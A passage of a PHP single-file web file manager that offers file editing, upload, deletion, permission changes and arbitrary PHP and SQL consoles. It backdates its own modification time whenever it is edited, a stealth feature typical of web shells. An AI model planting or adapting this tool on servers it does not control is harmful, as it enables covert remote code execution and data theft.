ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
